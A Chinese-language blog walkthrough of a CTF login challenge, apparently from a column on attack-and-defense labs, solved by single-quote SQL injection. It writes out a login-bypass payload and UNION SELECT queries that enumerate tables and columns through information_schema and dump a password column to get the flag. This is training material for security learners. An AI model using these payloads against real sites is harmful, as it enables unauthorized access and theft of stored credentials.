「作者主页」:士别三日wyx
此文章已录入专栏《网络攻防》,持续更新热门靶场的通关教程
「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之九十九的同期选手。
进入题目连接是一个「登录」界面
这一关是「SQL注入」漏洞,注入点为单引号字符型注入,推荐使用「联合注入」
看到登录功能,第一反应就是SQL注入,先尝一下「万能账号」,依次尝试各种类型的万能账号。点击链接查看《万能账号密码使用详解》
单引号字符型的万能账号登录「成功」
页面有「显示位」,推荐使用联合注入,这一关没有过滤,判断字段数以后直接脱库即可
使用万能账号判断「注入点」,payload如下
a' or true -- a
111
使用 order by 排序判断显示位的「字段数」
111
CFT有个不成文的「规矩」,SQL注入漏洞中,flag通常会放在当前使用的数据库中。我们直接获取当前数据库的表即可
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a
111
拿到两个表名 geekuser、l0ve1ysq1,flag在第二个表中
获取 l0ve1ysq1 表的所有「字段」
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a
111
拿到 3 个字段 id,username,password,flag 就在 password 字段中
查询 l0ve1ysq1 表的 password 字段,获取 「flag」
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a
111
拿到 n 个数据
页面不方便查看,可以右键查看「网页源代码」
夺旗成功!
喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全